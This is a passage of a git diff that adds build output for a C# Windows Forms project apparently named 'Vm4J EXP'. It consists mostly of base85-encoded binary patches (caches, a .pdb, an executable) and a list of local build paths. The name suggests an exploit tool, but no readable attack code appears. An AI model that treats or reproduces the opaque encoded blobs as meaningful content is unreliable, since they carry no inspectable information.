z#C2p--zW&`JIV8*iWXs}vhDDkT&!Bn>Y;Ifu(x=a;p=$w^#iQ=ktmXtqPL{Z{rxkj zU>go&4ibx~^0w|nh=82r81ruP;1ZqEV}Ke_NAqg>s|#PozZEWyo_s3*7Pf!(9#W&|uaHOuYjd@yAqHuE3upP8GZW literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.AssemblyReference.cache b/Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.AssemblyReference.cache new file mode 100644 index 0000000000000000000000000000000000000000..204fdef644eaa2e6de09b015f5f4588ab58aa14d GIT binary patch literal 6 LcmZQ$WB>vH051Rt literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.CoreCompileInputs.cache b/Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..656db15 --- /dev/null +++ b/Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +0b70edf76315372ce3916dcfdfcc41c80263f015 diff --git a/Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.FileListAbsolute.txt b/Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..cbf2728 --- /dev/null +++ b/Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.FileListAbsolute.txt @@ -0,0 +1,11 @@ +E:\VM4J\Csharp\WindowsFormsApp1\obj\Debug\Vm4J EXP.csproj.GenerateResource.cache +E:\VM4J\Csharp\WindowsFormsApp1\obj\Debug\Vm4J EXP.csproj.CoreCompileInputs.cache +E:\VM4J\Csharp\WindowsFormsApp1\obj\Debug\Vm4J EXP.csproj.SuggestedBindingRedirects.cache +E:\VM4J\Csharp\WindowsFormsApp1\obj\Debug\Vm4j_exp.Form1.resources +E:\VM4J\Csharp\WindowsFormsApp1\bin\Debug\Vm4j_exp.exe.config +E:\VM4J\Csharp\WindowsFormsApp1\bin\Debug\Vm4j_exp.exe +E:\VM4J\Csharp\WindowsFormsApp1\bin\Debug\Vm4j_exp.pdb +E:\VM4J\Csharp\WindowsFormsApp1\obj\Debug\Vm4j_exp.exe +E:\VM4J\Csharp\WindowsFormsApp1\obj\Debug\Vm4j_exp.pdb +E:\VM4J\Csharp\WindowsFormsApp1\obj\Debug\Vm4j_exp.Properties.Resources.resources +E:\VM4J\Csharp\WindowsFormsApp1\obj\Debug\Vm4J EXP.csproj.AssemblyReference.cache diff --git a/Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.GenerateResource.cache b/Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.GenerateResource.cache new file mode 100644 index 0000000000000000000000000000000000000000..bb0ab5bab5aa041d4bf5e8deafeb53251cf19ac8 GIT binary patch literal 126 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 literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Debug/Vm4j_exp.Properties.Resources.resources b/Csharp/WindowsFormsApp1/obj/Debug/Vm4j_exp.Properties.Resources.resources new file mode 100644 index 0000000000000000000000000000000000000000..6c05a9776bd7cbae976fdcec7e3a254e93018279 GIT binary patch literal 180 zcmX?i>is@O1_p+SK%5g?SzMBus~417oL^d$oLUTL1*ImYq!#HYR*8GxXUf^%t3Noi54ZC+|=Nl{{sjzU0bQch;FcWPxwes*e}ZIZcpqG__J onW3ezNveT`r81^vrFkWpxv4PQgHubGfR2KJ07n-P+5+SQ04Y>DD*ylh literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Debug/Vm4j_exp.exe b/Csharp/WindowsFormsApp1/obj/Debug/Vm4j_exp.exe new file mode 100644 index 0000000000000000000000000000000000000000..5845ce484be26bd8c27d0f0b3f5b1fae97638df4 GIT binary patch literal 90624 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 